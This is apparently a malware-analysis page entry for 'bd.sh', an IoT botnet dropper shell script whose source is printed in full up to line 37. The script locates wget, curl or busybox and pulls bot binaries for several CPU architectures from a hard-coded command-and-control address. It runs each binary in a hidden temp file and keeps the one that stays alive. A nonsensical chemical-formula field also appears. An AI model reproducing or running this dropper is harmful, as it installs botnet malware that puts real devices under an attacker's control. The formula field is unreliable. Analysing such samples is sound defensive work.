bd.sh
IoT botnet dropper script
AArch64 (ARM64) architecture stringShell curl call includes output option
SHA-256ca6a34cc572e2df0903e8133ed168922243b2870455bb47b6300db3697be589d
MaleculeO(Xe)H₄(Cm₁₀F₆Os₃Po₅)
Evidence
1#!/bin/sh
2# bd.sh — architecture-adaptive dropper for the df CNC.
3# Tries each musl-statically-linked bot in turn; a wrong-arch ELF dies
4# immediately (ENOEXEC/SIGILL) so a live pid after 3s means we picked right.
5C2="185.34.144.137"
6P="8888"
7D="${TMPDIR:-/tmp}"
8[ -w /var/tmp ] && D=/var/tmp
9[ -w /dev/shm ] && D=/dev/shm
10
11W=""
12for w in wget curl /bin/busybox; do
13 command -v $w >/dev/null 2>&1 && { W=$w; break; }
14done
15[ -z "$W" ] && exit 1
16
17get() { # get <remote> <local>
18 case "$W" in
19 wget) wget -q -O "$2" "http://$C2:$P/$1" 2>/dev/null || /bin/busybox wget -q -O "$2" "http://$C2:$P/$1" 2>/dev/null ;;
20 curl) curl -s -m 30 -o "$2" "http://$C2:$P/$1" 2>/dev/null ;;
21 *) $W wget -q -O "$2" "http://$C2:$P/$1" 2>/dev/null ;;
22 esac
23}
24
25# order: most common IoT arches first
26for a in mipsel mips armel armhf aarch64 x86_64; do
27 T="$D/.dg"
28 rm -f "$T"
29 get "bot.$a" "$T" || continue
30 [ -s "$T" ] || { rm -f "$T"; continue; }
31 chmod +x "$T" 2>/dev/null
32 "$T" >/dev/null 2>&1 &
33 PID=$!
34 sleep 3
35 if kill -0 "$PID" 2>/dev/null; then
36 # still alive -> correct arch, it's connected to the CNC
37 exit 0
⋯4 lines